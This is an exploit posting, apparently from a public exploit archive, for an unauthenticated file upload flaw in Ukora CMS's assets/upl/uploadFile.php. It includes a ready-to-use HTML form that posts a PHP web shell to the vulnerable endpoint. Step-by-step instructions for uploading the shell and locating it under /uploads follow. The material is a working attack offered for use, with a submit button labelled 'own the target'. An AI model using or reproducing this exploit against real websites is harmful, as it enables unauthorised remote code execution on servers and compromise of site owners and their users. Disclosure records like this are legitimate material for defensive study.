##################################### #Exploit Title : Ukora CMS Shell Upload vulnerability #Author : Jagriti Sahu AKA incredible #Vendor : http://ukora.com #Download Link : https://github.com/baskuis/ukoracms #version affected : all #Date : 23/07/2014 #Discovered at : IndiShell Lab #Love to : Surbhi, Mradula and Harry #################################### //////////////////////// /// Overview: //////////////////////// Ukora CMS is affected from remote file upload vulnerability and attacker can upload php shell to website easily /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to assets/upl/uploadFile.php file in which there is no check during file upload attacker need to forward file upload request to this file with PHP shell and file Extension /////////////////////// /// exploit code //// /////////////////////// <div align=center><br><br> --==[[ <font color=red>Discovered at IndiShell Lab</font> ]]==--<br> +===========================================+ <br><br> <form action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="Filedata" > &nbsp <input type="submit" name="submit" value="own the target >:D<"> </form> Replace website.com with website name which is using Ukora CMS save this code on you machine as exploit.html open exploit.html into webbrowser, brows your php shell and click submit button if your shell name is shell.php, your shell will be renamed like this shell-php.php shell will be uploaded in uploads directory http://www.website.com/uploads/shell-php.php